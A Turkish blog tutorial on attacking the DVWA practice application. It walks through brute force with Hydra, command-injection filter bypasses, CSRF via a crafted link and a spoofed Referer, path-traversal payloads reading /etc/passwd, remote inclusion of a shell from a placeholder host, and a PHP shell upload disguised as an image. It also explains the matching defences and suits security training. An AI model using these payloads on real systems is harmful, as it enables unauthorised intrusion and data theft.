29 Ekim 2015

DVWA Security Lab ile Web Uygulama Güvenlik Testleri -1

Dvwa(Damn vulnerable Web Application) Owasp tarafından hazırlanmış , içerisinde açıklık barındıran bir Web uygulamasıdır. Yetki sahibi olmadan uygulamalara sızmaya çalışmak yasal değildir , bu nedenden dolayı eğitim amaçlı hazırlanmış buna benzer test ortamlarını kullanmak gerekir. DVWA Security Lab’ın içerisinde barındırdığı açıklık türleri:

                - Brute force , Command execution , Csrf ,File inclusion , File Upload ,SQL Injection , SQL injection Blind, XSS reflected , XSS stored

Bu bölümde Brute Force, Command Execution, CSRF , File Inclusion ve File Upload açıklıklarının kullanılması anlatılacaktır
Kurulum: "http://www.dvwa.co.uk/" sayfasından kaynak kod download edilebilir.

  • İndirilen dosya klasöre çıkarıldıktan sonra “config/ config.inc.php” dosyası açılıp düzenleme yapılması gerekmektedir.  “ $_DVWA[ 'db_password' ] = 'p@ssw0rd'; “ satırında var olan mysql şifresi yazılmalıdır , EasyPhp gibi programlar için default olarak boş bırakılır $_DVWA[ 'db_password' ] = '';
  • İndirilen bu php uygulamasını çalışıracak bir  ortama ihtiyaç vardır. “Wamp Server “ yada “EasyPhp” programlarından biri yüklenerek Dvwa uygulamanın “www” klasörüne kopyalanır ve localhost üzerinden çalıştırılabilir
  • Bir diğer alternatif yol Windows için IIS , Linux için Apache server ve mysql kurulumu yapılarak lokal server üzerinde uygulama çalıştırılır.
  • "http://127.0.0.1/dvwa/" linki açılarak “Click here to setup Database ” linkine tıklanır. Hatasız bir şekilde anasayfaya yönlendirildiğimizde kurulum tamamlanmış olur.


Varsayılan giriş bilgileri

Username : admin
Password  : password

Giriş yaptığımızda sol menüde açıklık türleri bulunmaktadır. Bu menünün altında  “Dvwa Security” linkinden güvenlik seviyesini seçebiliriz. Low-Medium-High şeklinde 3 güvenlik seviyesi vardır. Low kullanıcıdan gelen verilerin hiçbir denetime tabi tutulmaması durumudur.Medium için bazı denetimler yapılmış ancak yine aşılması mümkündür . High seviyesi için gerekli önlemler alınmış ve aşılması kolay değildir.Sağ altta “View Source” menusü ile kaynak kodları inceleyebiliriz.

Brute Force


Brute force atağı kullanıcı veya şifre için olabilecek tüm ihtimallerin denenmesidir.Benzer mantıkla Dictionary Attack uygulamasında ise elimizde bulunan kelime listesininin tamamının şifre veya kullanıcı adı için uygunluğu denenir.

Uygulamada Brute Force atağını önlemek için Low ve Medium levellarıda herhangi bir önlem alınmamıştır.Ancak High levelda her bir hatalı giriş için sleep(3) komutuyla 3 saniye bekletmektedir. Bu durmda her olasılığın denenmesini çok uzun süreceği için, bu saldırının önünü kesiyor.


Low ve medium seviyeleri için Burp Suit , Hydra, Medusa , Patator gibi araçlar kullanılabilir. Hydra :


-L : kullanıcı adı keyword listesi
-P: şifre keyword listesi
method seçimi  : http-get-form ,http-post-form  ,ftp ,mysql ,ssh gibi birçok servis seçilebilir
header : “[Parametreler]:[Error Mesajı]:[H=header(cookie)]”


Uygulamaya ilk giriş yapıldığında bir Cookie değeri atanıyor ve brute force atağı yaptığımız yerde bu yetkilendirme yapılmış durumdadır. Bu yüzden Cookie ataması yapmazsak server tarafı giriş yaptığımızı anlayamayıp  login paneline yönlendirme yapılacaktır ve yanlış sonuç alınacaktır. Cookie bilgisine Firefox eklentileri olan “Live http headers ” , “Cookie Manager+” gibi araçlar ile veya burp gibi Proxy’ler ile ulaşabiliriz. Aynı brute force saldırısı "http://127.0.0.1/login.php/"  paneline de yapılabilir ancak security level default olarak high tanımlanmış , burp suite ile giden request kesilip Cookie degerinde security=low yapılarak saldırı aynı şekilde gerçekleştirilirebilir.

Command Execution


Geliştirilen uygulamalarda bazen uygulamanın üzerinde çalıştığı işletim sisteminin terminalinde komut çalıştırma ihtayacı hissedilir.Örneğin PHP ‘de shell_exec() , exec() gibi fonksiyonlar ile komut satırında istenilen işlemin yapılması sağlanabilir.Ancak bu fonksiyonlara gönderilen parameter kullanıcıdan alınıyorsa , kullanıcı istediği komutu yazarak sistemde çalıştırabilir.Bu yüzden kullanıcıdan alınan bilgilerin direk fonksiyona gönderilmeden önce kontrol edilip zararlı verilerin temizlenmesi gerekmektedir.
DVWA’da Code execution kısmını incelersek IP adresi bekleyen bir input bulunmakta ve gönderdiğimiz ip adresi ile “ping xxx.xxx.xxx.xxx” şeklinde serverda komut çalıştırmaktadır.Low seviyesinde hiç bir control bulunmadığı için istediğimiz komutu rahatlıkla çalıştırabiliriz.Uygulamanın inux serverde çalıştığını unutmamamız gerekir.IP’den once gelen ping komutuyla bağlantımızı kesmek için and operatörü ile komut girebiliriz.


Aynı şeyi güvenlik düzeyini medium’a çekip denediğimizde başarılı olamayız .Bu seviye için bazı filtreler konulmuştur, gelen inputtan “&&” ve “;” karakterlerini silmektedir,ancak yeterli değildir.


Bu filtrelemeyi aşmak için veya operatörü kullanılabilir .“||“


Filtreleme yaparken bu şekilde yasaklılar listesi oluşturmak hesaba katmadığımız durumlar için her zaman zafiyete imkan tanır.Bu yüzden yasaklılar listesi yerine izinliler listesi oluşturarak kullanıcıdan gelen verinin izin verilen şekilde olursa kabul edilmesi daha makuldür.

High level incelendiğinde gelen IP noktalardan itibaren 4 parçaya ayrılmış ve her bir parçanın sayı olduğu doğrulanmıştır.


CRSF


Csrf sayfasına kullanıcı adı ve şifre değiştirmek için bir form vardır . Şifre değiştirme denemesi yaptığımızda URL kısmında şifrelerin GET Metoduyla gönderildiğini görmekteyiz.Önemli verilerin GET methodu ile gönderilmesi sakıncalıdır. Ayrıca bir diğer eksiklik http protokolü ile iletilmesidir . Bu iletilen verinin açık metin halinde gitmesi demektir . Trafiğin şifrelenmesi için https kullanılması gerekir.URL kısmına kendimiz elle müdahale etmeyi dener ve new password kısımlarına “test123” yazıp gönderdikten sonra , çıkış yapılıp tekrar login olmak denenirse yeni şifrenin “test123” olduğu anlaşılacaktır.


Bu durum kötü amaçlı kullanıcılar tarafından değerlendirilmekte ve farkında olmadan "http://127.0.0.1/DVWA/vulnerabilities/csrf/?password_current=password&password_new=test123&password_conf=test123&Change=Change#" şeklinde bir link son kullanıcıya tıklatılarak şifresi değiştirilmektedir.


Örneğin kullanıcının ziyaret ettiği herhangi bir sitede img tagi ile bu link çalıştırılır ve habersiz bir şekilde şifre değiştirilmiş olur.

Seviyeyi medium’a çıkarıp denediğimizde bu sefer saldırının başarılı olmadığını görürüz .Bu seviye için gelen talebin server’in kendisinden mi yoksa dışarıdan bir siteden mi geldiği kontrol edilmektedir.


Bu denetimi aşmak için Burp gibi bir Proxy aracı ile yada Firefox eklentisi olan HTTPLiveHeaders aracı ile http header ‘da referer kısmı ile oynayarak sanki sitenin kendisinden geliyormuş gibi     gösterebiliriz.


Bu şekilde gönderirsek şifre değiştirilmiş olucaktır.

File Inclusion


PHP dilinde “include() , include_once() , require() , require_once() “ fonksiyonları  dışarıdan bir başka dosyanın dahil edilmesini(import) sağlar. Bu fonksiyonların kullanımında eğer fonksiyonun parametresi kullanıcıdan alınıyorsa yani dahil edilecek dosyayı kullanıcı belirleyebiliyorsa ,gelen veri kontrol edilerek yükleyebileceği dosyalar sınırlandırılmalıdır.


Low level’da : "127.0.0.1/dvwa/vulnerabilities/fi/?page=../../../../../etc/passwd"  ile  Lokaldeki etc/passwd dosyasını okuyabiliriz.


Server üzerinde Php configurasyonunda “Allow_url_fopen “ özelliği açık ise uzaktan dosya dahil etmede yapabilir.
"127.0.0.1/dvwa/vulnerabilities/fi/?page=http://www.zararli.com/shell.php"
Medium ve High level için kaynak kodlar arasında kıyaslama yaptığımızda :


Medium level’de sadece Remote File Inclusion engellenmiştir http kullanılamadığı için uzaktan dosya dahil edilemez ancak yine lokal dosyalar okunabilir.

127.0.0.1/dvwa/vulnerabilities/fi/?page=../../../../../etc/passwd  “ ile passwd dosyasını aynı şekilde gerçekleştirebiliriz.

High level kaynak kodunun incelediğimizde izinliler listesi oluşturulmuş ve sadece  dosyanın ismi “include.php” ise dahil edilebilir. Korumasını bu şekilde sadece birkaç dosyaya izin verip başka dosyaların okunması engellenebilir.

File Upload


Resim gibi bazı dosyaların kullanıcı tarafında izin verildiği sistemlerde kontroller yeterli derecede yapılmamış ise kullanıcı zararlı dosyalar yükleyebilir.Örneğin uygulamızı teste başladığımızda low level için hiçbir denetim bulunmadığu için istediğimiz uzantıda dosya yükleyebiliriz. Php dosyaları yükleyerek sistemde kod çalıştırabiliriz. medium levelde “png,gif” benzeri uzantılarda resim yüklemeyi denediğimizde hata almaktayken “jpg” uzantılı dosyaları yükleyebilmekteyiz.


Resmin yüklendiği yerin adresini de görebiliyoruz. Php dosyası yüklemeyi denediğimizde uygulama bu dosyanın jpg olmadığını anlayıp hata vermektedir. LiveHTTPHeaders eklentisi ile veya Burp Suite ile giden istekleri kontrol edersek,


Sistem üzerinde komut çalıştırabileceğimiz bir php dosyası oluşturarak ;


Content-Type : image/jpeg  şeklinde değiştirirsek  upload edildiğini görürüz.


Yüklediğimiz scripti kullanarak sistem üzerinde kod çalıştırabiliriz.


High level için yeterli seveyide güvenlik sağlanmıştır.Gelen dosyayı ismini “isim.uzanti” noktadan ikiye bölerek uzantının jpg olduğu durumları geçerli kılmaktadır.

Bu makale 2015 yılı stajyerlerimizden İstanbul Teknik Üniversitesi öğrencisi Cemal Türkoğlu tarafından yazılmıştır.